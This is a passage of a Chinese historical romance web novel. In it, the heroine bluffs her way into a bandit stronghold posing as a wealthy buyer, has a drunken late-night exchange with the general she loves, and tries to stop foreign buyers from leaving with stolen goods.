季霖扶上剑柄“他们人不多,我能拖一会儿,你们去找公子带兵过来。”
李晋川抱起一块石头“我跟你一起留下!”
江云悠道:“这到匪寨的距离可比丹阳城近多了,万一他们也去报信呢?”
她目光定在土匪里一个眼熟的身影上,摁下季霖的剑“我听说有句话叫‘将在外君命有所不受’?小哥听说过没?”
季霖一板一眼的回答:“没听说过,我以服从命令为铁律。”
十六年放荡不羁的江云悠转头看了他一眼,眉毛挑的老高,从善如流的改道:“没关系,那你现在听说了,从现在开始,服从我的命令,现在起我们是郑二公子的人。”
她从怀里取出谢衡给的那个骷髅头铁片,把郭紫萍推到一堆秸秆里。
“躲好别出来,人走后再等半个时辰,绕其他小路去城防营,就说找江云悠的表哥,跟他说‘按原计划进行’。”
季霖拉住她的袖子“不行江姑娘,公子说过……”
“干嘛干嘛干嘛。”江云悠指着他的手,只需州官放火不许百姓点灯的威胁道:“再不松手我告诉你家公子了昂。”
季霖老老实实的撒开手,江云悠拍拍他的肩,莞尔一笑“不错不错,觉悟这么高回去叫我表哥给你升官。”
她拔下一根钗子把头发盘起,转头道:“李大哥还得委屈一下你……季霖护卫,把他抓起来给本夫人带路,咱们去匪寨打个劫。”
20. 山雨欲来(二)
老鹰正捏着壮壮的脖子威胁众人,忽听石板砸地的声音,被吓了一跳。壮壮抓住机会咬了一口他的手,躲到自己娘亲的怀里,也看向声源处。
只见一个满头彩玉银钗的女人大摇大摆的走到众人面前。她面容看着稚气,但下巴微昂,步履缓慢而张扬,身后还跟着位佩剑随从。
一时间无论抱头痛哭的、剑拔弩张相互骂娘的、准备挑事儿看戏的,都齐刷刷的抻长脖子看过来。
老鹰和□□看这架势以为是来抢山头的,如临大敌的看着她。
江云悠对一众视线置若罔闻,扇了扇并不存在的热气,回头对季霖道“我说那书生带的路对吗,给我领到什么穷乡僻壤里来了,鬼见愁的寨子是在这吗?”
被迫上了贼船的季霖只能押着李晋川上前,配合她演戏。李晋川倒是很上道,哆嗦的说出了老鹰和林虎的身份。
江云悠双手环抱,狐疑的看向他们“你们就是鬼见愁寨子里的?”
老鹰上下打量着她,脸上的疤像是狰狞的蜈蚣:“你是何人,报上名来。”
“好说好说,不过我往日都在幕后掌控大局,你们应该没听过我,但我夫君的名字在江湖上可是赫赫有名。”
江云悠不慌不忙的掸了两下袖子,做足了派头:“行不更名坐不改姓,郑景烨是也。”
老鹰和林虎对视一眼,与季霖一同露出迷茫之色。江云悠恍若未觉,阔气的朝李晋川扔了五十两的银票:“路带的不错,赏给你的。”
银票黏着所有人的目光飘然落地,这群劫了人都只要八百两赎金的土匪们顿时瞪直了眼。
江云悠唇角一扬——鱼上钩了。
她不慌不忙的亮出手里的骷髅铁牌,说明来意后叫季霖和李晋川把大包小包的礼盒摆成一排。
“一点小东西,算是见面礼。”
土匪们眼冒绿光,饿虎扑食一样准备瓜分。江云悠清咳一声,季霖应声上前,剑未出鞘便击退了靠近土匪。
她转了转腕上的手链,声音凉下来“不过这做生意嘛,总得双方都拿出诚意才能谈得好,不请我喝杯茶也太说不过去了吧。”
林虎此刻看她的眼神宛如看一座金山,正要上前说话,被老鹰先一步拦下,低声道:“你要干嘛?大哥说了,这批货要价高者得!”
“你他娘脑袋烧傻了吧,银子摆你眼前都不知道拿。”
林虎一巴掌推开老鹰,带着江云悠去匪寨。
老鹰盯着林虎骂了句脏话,拽过旁边一个跟班耳语几句,跟班点点头,朝另一个方向钻去。
林虎虽然有个炮仗脾气,但其实是个心眼没多少的顺毛驴,江云悠这一路套出了不少话。
不过那个老鹰却不是个省心的,江云悠用了多少心力套话,就用了十倍的心力跟这个走地鸡打太极。
这么耗了一路,总算到了鬼寨。老鹰路上派了人去报信,忠义堂里早早坐满了人等着盘问她。
直至此刻,这幕戏才正式开场。
鬼见愁大当家叫余大川,不像林虎那个二愣子,他的彪悍,是摸爬滚打茹毛饮血拼出来的。他腿搭在兽皮小凳上,单刀直入:“你是怎么知道我们手里有这批货的?”
这是句试探,江云悠的回答将决定能不能把握住这场谈判的主动权。
她极慢的深提了口气,过往江旬和江云帆谈生意的画面呼啸而过,最后定格在揽仙楼中谢衡与冯远山周旋的那一幕上。
她目光不退不避的迎上余大川,惯有的笑锋利起来“天下没有不透风的墙,菟丝子在草市可扎不下根。”
季霖踩着她的话音,跃身至旁边一人身边,众人还没反应过来他要干嘛,椅子上的人就被一招打了下来,转眼间,椅子已经在江云悠身下。
寨中几人怒不可遏的要吵起来,江云悠无视他们的嚎叫,继续对余大川道:“不过我认为,余大当家现在最该担心的应该是如何给衙门那群人开价吧?”
她这句话巧妙的借了谢衡的势,那晚他试探消息,故意把自己的身份引向丹阳衙门,匪寨的人本就不敢得罪衙门,听到他那几句话更不敢轻举妄动了。
一石激起千层浪,余大川翘着的脚猛然落下。老鹰听画风不对,挡在余大川身前。
“郑夫人说什么衙门,我们这可是匪寨。”
江云悠笑了下:“我说鹰兄,这会就别扮纯真了,我年轻貌美正当年,惜命的很,没个十足把握怎么敢单刀赴会呢?”
她靠进椅子里,揭开自己的第一张牌:“在下不才,正巧在衙门里认识一两好友。”
老鹰冷笑一声,见缝插针道:“怎么着,郑夫人这是想威胁我们,还是想强买强卖啊?”
老鹰身为三当家,说话在匪寨众人心中分量很大,余大川当下便嗤道:“老子活了这么多年,最不怕的就是威胁,你弯弯绕绕的到底想说点什么东西?”
匪寨的人随着他的话起身,一双双眼睛如有实质的盯着中央那个单薄的身影,季霖手扶上剑,上前一步。
江云悠心口一滞,顷刻意识到自己锋芒过头了,土匪们习惯了直来直去,话留三分和制造压迫并不适用在此。
她摁下季霖的胳膊,僵了一瞬的笑立即恢复如常:“大当家别急,这做生意就是交朋友,既然都是朋友了,那替友人解一解燃眉之急不也是应该的嘛。”
“郑夫人说这么多,恐怕不单单是为了那批货吧。”
说话的是江云悠那天夜里见到的那个头戴纶巾的人,听路上林虎说,他是匪寨的二当家陆岐。
“听闻二当家是寨中张良,果然厉害。”江云悠及时调整节奏,迅速引入正题“我听说跟这批货一起落入寨子里的,还有一群人对吧?”
陆岐皱了皱眉“郑夫人在江家也有朋友?”
江云悠摆摆手,信口胡诌道:“惭愧惭愧,一点风流债。”
陆岐小心翼翼的试探出一坨不可言说的情史,一时不知道该继续从哪个角度再谈下去。
刚觉得这位江大小姐有些靠谱的季霖两眼再次一黑。
“还请各位帮我保密,可千万别让我家那个知道了去。”江云悠这诚意泛泛的话,更坚实的奠定了自己风流成性的负心名头。
忠义堂的氛围被她搅和的松弛下来。余大川也不翘着脚了,一如既往的直白道:“这个好说,只要钱到位,要杀要放随便你。”
“钱不是事。”江云悠道“只要这批货敲定,银子保证第一时间到位。”
“等一下。”老鹰忽然出声道:“郑夫人这生意做的也太嚣张了吧,我们刚才可没说要把货也给你。”
这句话尖锐的有些突兀,江云悠偏头,开始认真审视起他。“这屋里也没火,三当家怎么忽然自燃起来了?”
老鹰眼珠似是往余大川的方向转了一下,很快又道:“你少在这装神弄鬼,我们这批货是价高者得,不是谁牛吹得大谁就行。”
江云悠不动声色的朝余大川和陆岐等人扫了一眼,做了个大胆的猜想。
“三当家谨慎,这点我得向你学习……只不过做生意讲究诚信二字,各位既不信我,我也不能剖心自证,这趟算我赏了回山景。”
她摸出张一百两的银票,轻飘飘的抖了抖:“外面电闪雷鸣的,我今晚也回不去,这一百两,权当旅费了,省的传出去,说我占各位便宜。”
这几年天灾人祸,土匪行当也不好干,蹲十次能逮到一次肥肉就算撞了大运,这种情况下突然天降一百两,无异祖坟冒了青烟,当然,如果他们祖宗还认他们的话。
余大川拉开挡眼的老鹰,给陆岐使了个眼神。
陆岐即刻道:“郑夫人等一等。”
江云悠脚步一顿,悬着的那口气总算有了着落。
赌赢了!
她藏在袖中的手缓缓松开,慢条斯理的转回身。
陆岐道:“郑夫人这话见外了,我们尽一尽地主之谊是应当的,至于这批货……”
老鹰那双吊梢眼上下一转,截过陆岐的话:“我刚才说话急,夫人别见怪,我的意思是,竞价的消息是早散了出去的,要是忽然反悔,我们以后还怎么在道上混,再说还有衙门那边。”
余大川那根九曲十八弯的脑筋又开始转动起来。他虽然被江云悠唬住,但本质上还是以钱为主,何况衙门那边他也是真开罪不起。
江云悠看出余大川的犹豫,恰到时机的松了口,以退为进的说出自己的真实目的。
“三
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当家说的在理,开门做生意以赚钱为先,这批货咱们后面再议,就是江家那些人……”
余大川道:“郑夫人放心,那几个人我们留着没用,到时候就当给你拉货的了。”
江云悠那贴上了假面一样的笑总算弯出了真实的弧度:“那就预祝我们合作愉快。”
无论如何,她最重要的那个目的达到了。
山里气温低,腾起的雾缠在山腰,像被群山镇压的白龙。她望着连绵不尽的远山,忽然没头没尾的对季霖道:“我记得上次看雨,还是在邬山的云雾亭。”
算起来不过是两个月前,那还是平陵今岁的第一场秋雨。
云雾亭中可以俯瞰到半个平陵城,青砖黛瓦蒙在潇潇细雨里,日暮时还能听到白马寺的撞钟声,汀花细雨,水树风闲。
她还欲说些什么,回头一看抱着剑的季霖和匪寨的小屋子,那些到了舌尖的话忽然变得苦涩起来。
赌书消得泼茶香,当时只道是寻常。
她把这些不合时宜的感想咽了回去,重新理了理思绪,道:“觉不觉得那个走地鸡不对劲?”
季霖点头:“每次一提到这批货,他都很紧张。”
“谢明淮之前也怀疑是匪寨里的人把这批货的消息漏了出去,应该就是老鹰。看来明日来竞价的,就是我们要找的那些人了。”
江云悠正捋着线索,忽然看到季霖表情闪过一瞬间惊诧,她以为还有什么自己没注意到的细节,忙问:“怎么了?”
“哦不是,将军他,啊不,公子的……你……名字……”
季霖支支吾吾半天,没说出一句有用的话,江云悠古怪的看他一眼,咕哝道:“谢明淮这都找的些什么人,没一个正常的。”
她及时打住季霖的饶舌,道:“得了得了,回去多练几遍绕口令吧,幸亏你不爱说话,跟暨雨也算互补了。”
季霖:“……”
她把匪寨地形图往地上画了一遍,指了几个地方“这都是我跟谢明淮之前去过的,没货也没人,可以不用搜了。等找到人之后先想办法把伤药和点心递进去,如果被发现就说我让你去看看江家人,他们不会多怀疑什么。”
季霖记下后把地上的图抹了:“江姑娘不去吗?”
“一会他们会来人叫我去喝酒,没人会引起不必要的猜测。”江云悠叹口气“你跟远叔说,我没事,让他千万别担心。哦对,还有我一个人来匪寨的事也别告诉他。”
季霖一一应下,转眼已跃身至几米外。
“行吧,最起码武艺超群。”
江云悠合上窗把自己砸进床上,结果顿时被床板硌的弹起来。她撩起那层薄薄的垫子,啧道:“哎呦我天,看来拿钱开路选对了。”
不过匪寨虽然穷,吃喝到没亏待自个,大鱼大肉摆满了一桌子,就是人不怎么讲究,十几道吐沫星子横飞,瞬间浇灭了江云悠吃顿饱饭的想法,她开始一心一意的套话。
季霖回来找江云悠的时候,正巧看到她坐在桌上跟俩人划拳输了。她也没废话,豪爽的端起一碗酒……撇到了地上。
她对面俩人早就喝成了对眼,嘴里还念叨着再来。季霖上前把那俩人搬开,对她点了点头。
江云悠心里一块大石头总算落了地,瞬间松了弦,敞开玩起来。这可苦了季霖,又得防着土匪作乱揩油的手,又得挡掉那些胡乱敬酒的人,一晚上耳朵都快被吵出耳鸣了。
好不容易结束了,江云悠那群刚在酒桌上收拢的小弟又跟到了屋前。
江云悠脑子已经完全迷糊了,嘴还尽职尽责的忽悠着。季霖抱着剑,听一群醉鬼驴唇不对马嘴的探讨了半天商业宏图,终于忍不住关上了那道门。
江云悠锲而不舍的扒着门缝道:“放心吧,到时候有我一口肉,定有各位兄弟们一碗汤喝!”
土匪寨里的小木屋修的简陋,蜡烛也吝啬的只点了一丁点,晃晃悠悠好像随时要灭。
那可怜兮兮的蜡烛回光返照似的跳跃了两下,屋内响起了第三道声音。
“呦,这么大方,水饱管够是吧?”
带着某人特有的嘲讽,还有一丝隐隐的怒气,只可惜醉的晕头转向江云悠已经完全丧失了察言观色的能力。
21. 山雨欲来(三)
昏暗的烛火摇曳在谢衡的侧脸,将那清隽的五官刻画的更深邃。他抱臂靠在瘸腿木椅的把手上,支起一条腿险险的维持着平衡。
江云悠也不知道认没认出谢衡,忽然嘘了声,狡黠一笑:“别生气,我骗他们的,都给你留着呢。”
“放心吧,跟着我,保证亏不了你。”
她靠在门板上略仰着头看他,平日收敛的德行一股脑散了出来。
谢衡一顿,与她盛满笑意的眼睛对视几秒,蹙眉瞥向季霖“她喝酒了?”
季霖两眼一黑又一黑,恨不能醉的那个是自己,硬着头皮上前道:“是,属下失职,自请军法处置。”
谢衡气极反笑,他好不容易料理完鹭州防守,回过头就听见郭紫萍前言不搭后语的说了通什么“原计划”,搞得他险些以为自己记忆错乱了。
他紧急调整了计划后就匆匆忙忙赶来,结果一进门就看到个醉鬼……醉成这样还不忘撩闲!
他现在看到江云悠就气从心生,偏这人醒着的时候二皮脸,醉了直接变成了不要脸。他摁了摁自己跳动的额角,挥手叫季霖去外面说话。
“诶,怎么走了?”
江云悠喝醉不上脸,乍一看跟平常没什么两样,一走路就全漏了馅,左脚恨不得跟右脚打起来。
她人没追到,自己反而绊倒了瘸腿椅子,幸而谢衡及时转身拉住她的胳膊,这才避免了一场人仰马翻。
谢衡用脚勾起椅子对着墙放好,把间歇性抽风的江云悠塞到椅子靠背和墙之间,瞥向季霖:“她到底喝了多少?”
季霖:“……江姑娘机灵,大部分酒都偷偷倒了,躲不开的,满打满算两碗不到。”
谢衡属实被气乐了,没想到江大小姐花钱和酒量都这么令人叹服。
而这位令人叹为观止的大侠一听“酒”这个字,立时条件反射站起身:“来,干!”她边说边冲在桌下冲季霖挥了挥手,还想着作弊呢。
向来兢兢业业本本分分的季霖,遇到江云悠可算是遇到军旅生涯的一大劫,恨不能镶到墙缝里去。
谢衡自觉压着的火气都快把肺充实了。他手上应付着江云悠这个八爪鱼,耳朵被外面撒酒疯的土匪们吵的直心烦,对季霖道:“把外面那群苍蝇扔远点。”
季霖立即从地上弹起,火速出门把鬼哭狼嚎的土匪们拎远了,方圆三里只剩了屋里一个醉鬼。
谢衡摁下葫芦浮起瓢,江云悠就是左摇右晃的站不住,偏她还生出一丝乐趣,到最后故意跟他作起对来,滑的像个泥鳅。
谢衡被她弄得烦不胜烦,下意识道:“别动了,立正站好!”
江云悠被他吼老实了,垂下脑袋哦一声,从小念到大的认错书捎带而出。
“对不起,我错了,我保证吸取这次的教训,好好反思,重新做人……能不能少抄两篇《通史》啊。”
谢衡眉梢扬了扬,哭笑不得的说:“还知道我是谁吗?”
“唔……”江云悠揉揉眼睛,抬起脑袋认真看向他,被酒气冲刷的眼睛潋滟的像是装了满天的星辰,而那谢衡的身影被那璀璨的群星环绕,令置身其中的人有种珍贵而唯一的幻觉。
“知道啊,你说你叫——谢明淮啊。”
她定定的与谢衡对视着,唇角的梨涡也盛满了芬芳的酒,在一方小屋弥漫开。
谢衡那压实的怒气忽然被戳了道极小的缝,把火顺着那条缝和缓的泄了出去。他叹口气,屈指弹了下江云悠的额头:“两碗,江大小姐,真出息啊。”
江云悠吃痛的揉了揉额头,不退反进的仰起头:“你还没回答我的问题呢,你为什么总不回答我。”
醉鬼思维跳跃,不等谢衡琢磨她问的是什么,紧接着被她扯住袖口道:“你听,是不是下雨了?”
谢衡应一声,把她拽的死紧的袖子往外抽。“知道下雨还往土匪窝里钻,欠让你也爬一次山路。”
这次江云悠出奇的没接话,谢衡一抬头,就见她眼角泛红,两行清泪涌了出来。
“怎么……”谢衡还以为她遇到什么事了,正要喊季霖进来,便听到她带着哭腔开口:“谢明淮,我想云雾亭了,你带我去看吧。”
“不是,这又是个啥玩意?”谢衡方言都带出来了,第一次经历这种程度的心累。
江云悠那眼泪局部降雨似的往下掉,没有一点缓和的趋势。谢衡叹口气,低声道“行行,带你去,别哭了,一会再把这破茅屋给淹了。”
她捏着谢衡的袖子擦了擦眼泪,总算平复下来,盯着他的脸又不满意道:“你怎么总是不笑,难不成是觉得板着脸更好看吗?”
她边说边伸出手,想撑起谢衡的嘴角,却在中途被他一把摁下。
谢衡也是被她搅得没脾气了,按照她的风格瞎回了句:“我怎么着不好看?”
“不对。”江云悠的手还被他握着,借着这个支撑点前倾,抬头看着他的眉眼“我今天看到你笑了,你怎么总是偷偷的笑?”
她的话音像是投入水中石子,让静谧的空气一圈一圈荡起涟漪。谢衡愣了愣,忽然有点后悔让季霖把那群惹人心烦的土匪扔走了,此刻安静的环境并没有使他心里平静多少。
他下意识要退开,却在松开手时才意识到,不知何时,江云悠已经反握住了他的手。
她声音依旧很轻,却并不含混,如柔软的藤蔓,封住了他后退的路。
“那天掉进水里,你为什么不往上游了?”
谢衡猛然停住所有动作,心里隐秘的角落被剖开一角,清风豁然涌入,让常年不生波澜的死水顿时无所适从起来。
江云悠仍在靠近:“谢明淮,你总是做噩梦吗?”
谢衡被她的话定了一下,愕然的看着她“你……”
你知道些什么?
为什么从没问过我?
那可怜兮兮的蜡烛丁终于烧到了尽头,摇摇欲灭的光噗的黑下去,点着了屋内暧昧不清的氛围。
江云悠清澈的眼里闪着细碎的光,无声的向他逼近:“将军,你说夜晚会使人放松警惕……是真的吗?”
她得寸进尺的抓住他衣襟,声音近乎呢喃,一上一下的情景如此熟悉,蛊惑人心的却变了一个。
江云悠的温度侵袭而来,灼热的气息一路蔓延,几乎要烧到谢衡心尖。
他看着那双有些涣散的双眸,指尖微动,缓缓抬手扶在她的后颈,继而用力按了一下。
江云悠意识清明了一瞬,很快又彻底陷入黑暗。她抓在谢衡衣襟上的手垂下,闭上眼靠进了他怀里。
这兵荒马乱的夜晚终于安静下来。
窗外淅淅沥沥的雨声为今晚的夜续上了连绵不绝尾音……
鹭州十里不同天,平陵的夜晚依旧月明星稀,两只白鸽划过萧条的树枝,停在一处窗棂上。一只大胖鹦鹉低头啄了啄自己油光水滑的羽毛,呼扇着翅膀飞到鎏金架子上,歪头看向那两只白毛信鸽。
江云帆拆开信筒,顺手把鹦鹉的木
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食盒拽到鸽子面前。
信纸足足六页,可翻来覆去都是些家长里短,似乎真的只是一封家书。
一切按计划进行?那为何隔了整整一天才来信?
他挥开抢食的鹦鹉,捏着信纸看到窗棂上两只凑在一起的白鸽,忽然灵光一闪,想起他和江云悠幼时为瞒江旬互通供词的情景。
他把六张纸叠在一起,只露出最后一列,果然拼出了另一封信。他唇角还未来得及扬起,就被信上的内容糊了一脸惊心动魄。他飞速扫一眼窗外,拿着信纸往正厅跑去。
自从江云帆那晚看到怪影之后就吩咐家里管家添了灯,但每次经过假山时,他都不免驻足——因为心中那个晦暗的猜测。
“少东家?您又来喂那只珍珠龟啊?”
江云帆一个激灵回头,手上的信纸在转身时收到了袖中。
“书砚妹妹,这么晚还不休息,不怕长皱纹啊。”
书砚自小跟他们兄妹在一起说嘴逗趣,早见怪不怪了,反倒想起多日不见的江云悠来,叹口气道:“这两日风大落叶多,我正要去收拾姑娘的院子呢,也不知道姑娘何时才能回来。”
“如今平陵不消停,阿昭多在外面待两天也好,毕竟总归是明枪易躲,暗箭难防。这灯下黑,能要人命,有时候举灯照路,远看是一片亮堂,其实最该注意的地方往往就在脚底下。”江云帆拨了拨手边的灯笼,将手柄递给她:“刚从方姨那出来吧,这月黑风高的,总不带着灯可不是好习惯。”
书砚交叠的手紧了紧,垂眼接过那盏灯笼,轻声道:“多谢少东家。”
江云帆点头看着她离开,袖中的信纸扎的他有些难受。他捏了捏那叠信纸,忽然转头朝渐行渐远的书砚喊了一声。
书砚回身,半张脸隐在黑暗里“怎么了少东家?”
江云帆笑了下:“没事,就是忽然想到你刚来的时候好像才八岁吧,比阿昭还大一岁。”
书砚微微出神,想到第一次被方妤晴接到江家情景。穷苦人家出身的孩子大多见识浅薄,潜意识里带着怯懦,处处看人眼色,可总是越小心越出错。
青釉瓷器华美精致,但对她们这些下人来说,却并不是什么值得待见的好东西。她至今都记得那青釉杯碎到地上的声音,脆生生的让人心颤。
但在那场事故中令她记忆最深刻的,却是一道清澈的童音。
“你哭什么啊姐姐?”
“这是你很喜欢的东西吗?”
“别哭啦,我知道哪里能做这个,我带你去做个比它更好看的。”
七岁的江云悠大病初愈,总被圈在家里上蹿下跳,每日都有着跟苍白脸色截然相反的活力,像颗行走的小太阳。
书砚轻轻笑了:“是啊,认识姑娘,是我最幸运的一件事了。”
江云帆道:“阿昭待人赤诚真挚,爱憎分明,但其实很多事并不是非黑即白,很多人和感情也并非只有爱或憎能说清楚的,你觉得呢?”
书砚盯着灯笼,良久没说话。长久的安静中,江云帆露出的三分笑意也淡下去,嘴角弧度却还在:“嗐,都是跟那小话痨待一起久了被传染了,都说困了,我先走了。哎对,她那院子不着急收拾,这么晚你也早点休息去吧。”
灯笼里的光暖融融的照着前路,书砚的双脚却立在一圈漆黑里,影影绰绰。
她慢慢从怀里取出个歪口杯子,小孩巴掌大小,杯身还有两个指纹印,跟当年那个精致的青釉杯攀不上半点亲戚。
22. 山雨欲来(四)
两碗不到的酒够不上宿醉的量,到让江云悠踏踏实实睡了一觉。
昨晚的雨一直到翌日清晨才将将停下,窗户缝里溜进的一缕冷风叫醒了床板上的人。
江云悠闭着眼伸了个懒腰,被木板子床硌了一晚上的背直泛酸,这下真是一点赖床的欲望都没了。
她坐起身正想找点水,转头间瞥到墙边那个瘸腿椅子,脑中忽然闪过一幅晦暗的画面。
她尚醒盹的脑袋一下清明过来,刚站起来的身子被多出的那段记忆又砸到床上。
“天呐天呐天呐,酒色误人,酒色误人……话说,最后到底亲上了没?”
她正放飞想象拼凑昨晚的细枝末节,忽听到叩门声,险些给她惊得跳起来。
江云悠故作无事的清了清嗓子,走到门前时又理了理衣服和头发。外面人等的时间久了,又敲了两下门,道:“您醒了吗?”
江云悠簪钗子的手一顿,单手把门拉开。
“季霖?”
她朝他身后看了一圈,目之所及再无其他人。
也是,他也留不到早上。
江云悠看向季霖,耷拉的眼皮重新精神起来:“起这么早小霖子……是不是你家将军有要事托你转达?”
季霖被她这么一提,又想起昨晚不小心从门口听到的那些话,顿时退远两步,十分有边界感。
“将军说山下已经布置好人马了,申时一刻开始行动,只需要您看住草市来的人就好了。”
江云悠点点头:“还有呢?”
“还有将军说要我看好您,这次不要再搞什么原计划了。”
“……还有吗?”
季霖道:“将军还说也要看好您,让您别再突发奇想瞎发挥,老实待着就好。”
江云悠做了个停的手势,保持微笑道:“我是问还有什么跟我说的话吗?”
季霖没明白过来,纳闷道:“这不都是将军要跟您说的话吗。”
并且他觉得交代的都很关键啊。
江云悠深吸了口气,把那根没插好钗子拔下来重新簪好。
“你们这群满心只有公务的大棒槌简直无可救药了。”
无缘无故从昨晚被连坐到现在的季霖实在是冤死了,也不知道怎么就落到这种两头都不讨好的地步。
而被江云悠指桑骂槐的谢衡……确实在处理公务。
太守府门内开阔的有些空荡,似乎除了必要的规制,便再没其他的东西和人了。
谢衡环顾四周,听到一串清脆的笑声,像是小孩。他扭头向后堂走去,一株银杏树下,一个半人高的小男孩正拿着把辟邪的桃木剑上下挥舞,旁边是扫叶子的姚肃谦。
东南总督聂敬的军令已经发出整整一天,但直到目前,太守姚肃谦却耳聋眼花似的,仍旧按时点个卯,正经事儿一点不碰。
奇怪的是,丹阳城的事宜却都按部就班的进行。谢衡此次南下虽然带了军牌,但只是五品参将的令,依制比姚肃谦还低了两级。
而在无圣旨、无命令的前提下,身为一城统领的徐鹏飞这么快就接受并毫无怀疑的全盘听从他的命令,要说其中没其他缘由,很难说服他。
“爹,你看我厉不厉害!”小男孩手中木剑挥向一堆叶子里,把姚肃谦刚扫好的落叶乱搅了一通。“爹,我现在能跟徐叔叔一起去兵营了吗?”
姚肃谦叹口气,重新拿起扫帚慢慢把叶子扫起来,“去兵营哪好啊你那么想去,赶紧回家好好读书,一会你娘来了,我可管不了。”
“才不才不,我要当大将军,将来把那些可恶的越人都打跑。”
姚肃谦扫叶子的手缓缓停住,抬头望天,良久长叹道:“当将军,那可是白骨攒孤冢的事啊。”
“姚太守就是因为这句话,才偏安一隅,自愿沦为……”
谢衡看了眼稚气的姚炳延,截住话音,眉眼舒展了些,轻声朝他道:“刚才练的可是惊鸿剑法的入门八式?”
姚炳延看一眼姚肃谦,这才对谢衡点点头。
“惊鸿剑法以轻盈、速度著称,底盘要稳,手腕要灵活。我认为这些剑谱上应该会有批注。”
姚炳延脸色一点点涨红:“我没认真看。”他对谢衡的防备心已经全由钦佩替代,又道:“小叔叔,您是大将军吗,可以教我剑法吗,我想跟你们一起去打越人。”
姚肃谦连忙把他拉到身后,想要俯首告罪。
谢衡在他之前开口道:“想要打仗,只会用剑或拼武力,那是莽夫,莽夫是当不了将军的。”
“孙子兵法有言:上兵伐谋,其次伐交,其下才是攻城。”
谢衡说话不疾不徐,刚好够姚炳延思考的时间。他认真的点点头:“我知道了小叔叔,我现在就去读书,一定会成为和你一样厉害的大将军的!”
他抱起木剑飞跑出去,结果到了门口突然急刹。一个素钗的女人眼疾手快的拎住他的耳朵,把他往门外薅。
“好哇你个小兔崽子,又来这里瞎晃什么,一整天不给老娘省点心。”说罢又隔着老远对此处道:“姚肃谦,今晚买条鱼回来,再买那么小的老娘就把你清蒸了。”
姚肃谦赶紧高声应下。他朝谢衡讪笑道:“拙荆乡野妇人,小子也不识礼数,都是鄙人教导无方,还请将军勿怪他们。额……将军大驾可是要提审私通匪寇的那几人?”
谢衡道:“我倒是觉得姚太守教了好儿子,颇有几分昔日兵部侍郎的样子。”
姚肃谦又开始沉默,似是在思索怎么回避这个话题。谢衡没给他机会,径直道:“今天准备攻打鬼见愁寨子的消息,徐鹏飞都跟你汇报过了吧。”
姚肃谦一惊,背好像都挺直了两分。
“大牢里关着的那几个人,真的都是私通匪寇的人吗?”谢衡看着他握着扫帚的手,继续道:“一州太守,抓个眼线还要打着我的名头,处理自己分内的公务也得偷偷摸摸——姚肃谦,到底是谁让你那么忌惮?”
寒风将聚起的落叶再次吹散,一切又恢复最初的样子,好像刚才所做的一切都是无用功。
“将军既然知道,又何必捅破这层纸呢。我如今有妻有子,只想本本分分过下去罢了,您说我是偏安一隅也好,苟且偷生也罢,我都无所谓。”
他把扫帚靠到一旁,费力的坐到矮阶上,锤了锤自己那条不中用的腿。“将军若听我句拙见,便别查桩案子
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了,这背后的人咱们开罪不起,就连当初那两位声名赫赫的镇北将军,不也落得那般凄惨的下场吗。”
谢衡瞳孔猛然一缩,刚刚刮过的风竟现在才感觉到冷,后脊背一阵一阵发凉。
“啊嚏!”
江云悠揉揉鼻子,拢了拢外裳。这鬼寨瞎附庸风雅,非要把竞价场地安排到屋外,刚下过雨,又是在山里,别提多冷了。
今日来草市来的人共有四队,每一队都抱着势在必得的心……除了江云悠。
在中午吃饭时江云悠就旁敲侧击的试探过这些人身份。之后竞价中,她更是良好充当了搅屎棍这一角色,和稀泥、抬高价、搅浑水,并在氛围激烈时恰到好处的引发了一场骂战。
陆岐几次三番的维持秩序,林虎索性拿了个锣来,敲得她耳朵直打鸣。
她捂住耳朵瞥向正对面坐着的那群人。他们体格很壮,编着小辫,虽然穿的是齐国装束,却是典型的越人模样。
他们鲜少发言,安静得就像是狩猎的豹类。果不其然,这批货的归属权最后确实到了他们手里。
陆岐走上过来,安慰了江云悠两句,并表示以后有其他生意,定会先与郑家合作。
“好说好说,买卖不成仁义在嘛。”她视线在场上扫了一圈,语气随意道:“哎,今天没见三当家啊?”
“哦,他刚领人去取货了。”
江云悠不解道:“大当家不是说大家一起吃顿晚饭再走吗?”
林虎插话道:“那群小辫说还有事,要提前走,走走呗,省的他们说话叽里咕噜的,谁也听不懂。”
江云悠眉心一跳,借口内急慌忙尿遁去堵人。她现在几乎可以确定谢衡要找的那些人就是今日这群越人。
但越人怎么会跟官府有关?
幸而那群人抬着箱子目标大,江云悠总算在他们准备离开时找到了他们。
绝对不能让他们走,不然最后还是竹篮打水一场空。
江云悠从怀里摸出把匕首,正是当初劫船是谢衡给她的那边宝石匕首。
季霖见此场景,赶紧拦住她:“您要做什么,马上就要到行动时间了。”
“目标都没了还行动个毛啊。”
江云悠把匕首藏到宽大的袍袖里,扬声朝越人道:“嘿,老兄,有个生意做不做?”
越人们闻声回头,拔出刀警惕的看着她,为首的几人叽里呱啦说了几句话,而后一人转头用蹩脚的齐国官话道:“你是竞价的那个人?这批货已经是我们的了,快走开。”
江云悠举起双手,示意自己没恶意:“自然自然,价高者得嘛,我只是想跟你们做点其他的生意……听说你们越国牛羊遍地?我只是想买点优质的牛羊肉,数量不计,多少钱好商量,各位看如何?”
几人又是一阵叽里呱啦,江云悠看到其中有人点了头,不由松了口气。
恰是此时,远处忽然传来一阵哄乱,老鹰紧接着跑过来,高声道:“你们怎么还在这?官兵打来了,赶紧往这边走,这边还有条路!”
该死,忘了这只走地鸡了!
江云悠低声对季霖道:“我记得在芦花村的时候,你说你能一打几来着?”